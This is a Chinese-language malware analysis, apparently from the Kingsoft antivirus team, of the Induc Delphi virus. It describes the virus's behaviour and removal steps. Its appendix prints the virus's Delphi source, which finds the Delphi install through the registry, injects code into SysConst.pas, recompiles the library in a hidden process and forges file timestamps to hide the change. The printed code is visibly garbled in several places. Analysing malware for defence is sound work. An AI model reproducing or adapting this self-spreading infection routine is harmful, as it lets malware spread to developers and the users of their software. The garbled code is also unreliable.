金山云安全中心近日在国内率先截获了一个针对计算机程序员、尤其是Delphi使用者的病毒“Delphi梦魇”(Win32.Induc.b.820224),简单描述该毒行为,就是:它专门感染Delphi程序员的电脑,一旦成功,程序员今后写出的任何程序,都将带有该毒!
以下是金山毒霸病毒分析组对Virus.Win32.Induc.a 感染型的分析:
一、文件信息
文件大小:163840字节
加壳类型:ASPack 2.12
编写语言:Borland Delphi 6.0
病毒类型:感染型
二、病毒描述
该样本为Delphi感染型病毒,通过感染Delphi库文件中的SysConst.dcu文件,使用户在使用被感染的库文件编程后,生成的文件均被感染。
三、病毒行为
1.病毒在第N次处理初始化表时(Call StartExe)进行操作,即完成在程序加载正常Delphi文件前执行病毒代码。(数字N根据被感染用户的Delphi版本不同有所不同)。
2.循环检测注册表键值HKLMsoftwareBorlandDelphi X.0 判断当前机器是否安装Delphi。检测版本(4.0 5.0 6.0 7.0)。如本机未安装则直接跳出病毒代码进行正常的初始化工作,不进行感染。
3.如安装了Delphi则通过访问注册表得到用户的Delphi安装路径。
4.根据用户安装路径将源文件夹中的SysConst.pas和库文件夹中的SysConst.dcu备份;
即%%SourceRtlSysSysConst.pas 与%%LibSysConst.dcu。
5.将Delphi源码代码写入源文件SysConst.pas中
6.调用%%Bindcc32.exe 将感染后的源码文件SysConst.pas 生成本地库文件放入Lib替换SysConst.dcu文件。
7.将正常SysConst.pas备份恢复,删除源码中感染的文件。
8.更改库文件中被替换后的SysConst.dcu文件时间,使其与其他文件一致。
四、病毒危害程度
该病毒实际上并不具有危害性,只是其更改了库文件后使编译生成的所有程序均带有不正常代码,而其代码行为即为以上描述。
因为其将Delphi库文件修改使其使用Delphi语言编译后的文件均被感染,所以被感染文件大小不一,加壳情况也各异,本分析样本只是从中随机挑选,样本大小与加壳类型都不具有代表性。
五、解决方案
这个病毒具有二次感染能力,也就是说原来你编译出来的所有Delphi程序都可以再次感染你机器上的Delphi库文件,要彻底清除该病毒需做到以下几点:
1、不要运行任何Delphi编写的程序。
2、使用杀软扫描所有的Delphi编写的可执行文件并清除病毒。(或直接删除所有哦的Delphi编写的可执行文件,包括从网上下载的)
3、将文件 %DelphiInstallPath%LibSysConst.dcu 删掉,然后执行步骤4 或 步骤5和6。
4、将文件 %DelphiInstallPath%LibSysConst.bak 改名为 SysConst.dcu,结束。
5、调用 DCC32.exe 编译出新的 SysConst.dcu ,编译命令如下: %DelphiInstallPath%binDCC32.exe "%DelphiInstallPath% SourceRtlSysSysConst.pas"
6、将新编译的SysConst.dcu(在%DelphiInstallPath% SourceRtlSys目录下)文件复制到 %DelphiInstallPath%Lib 目录,结束。
六、附录(Delphi源码)
uses windows;
var sc:array[124] of string=(
function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then
s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2 : textfile;
h : cardinal;
f : STARTUPINFO;
p : PROCESS_INFORMATION;
b : boolean;
t1,t2,t3 : FILETIME;
begin
CreateFile( pchar( d + $bak$ ), 0, 0, 0, 3, 0, 0);
if hDWORD(-1) then begin
CloseHandle(h);
exit;
end;
assignfile(f1,s);
reset(f1);
if ioresult0 then
exit;
assignfile(f2, d + $pas$);
rewrite(f2);
if ioresult0 then begin
closefile(f1);
exit;
end;
while not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos($implementation$,s) 0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2, $$$$+sc[h],$$$,$ );
writeln(f2, $$$$+sc[24]+$$$);$ );
for h:= 2 to 24 do
writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
MoveFile(pchar(d+$dcu$),pchar(d+$bak$));
fillchar(f,sizeof(f),0);
f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil, pchar(e+$"$+d+$pas"$), 0, 0, false, 0, 0, 0, f, p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+$bak$), pchar(d+$dcu$));
DeleteFile(pchar(d+$pas$));
h:=CreateFile(pchar(d+$bak$),0,0,0,3, 0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h, @t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k : HKEY;
c : array [1255] of char;
i : cardinal;
r : string;
v : char;
begin
for v:=$ to $ do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar($SoftwareBorlandDelphi$ + v+ $.0$ ), 0, KEY_READ, k) = 0 then begin
i:=255;
if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin
r:=$$;
i:= 1;
while c[i] #0 do begin
r:=r+c[i];
inc(i);
end;
re( r + $sourcertlsysSysConst$ + $.pas$, r + $libsysconst.$, $"$+r+$bindcc32.exe"$);
end;
RegCloseKey(k);
end;
end;
begin
st;
end.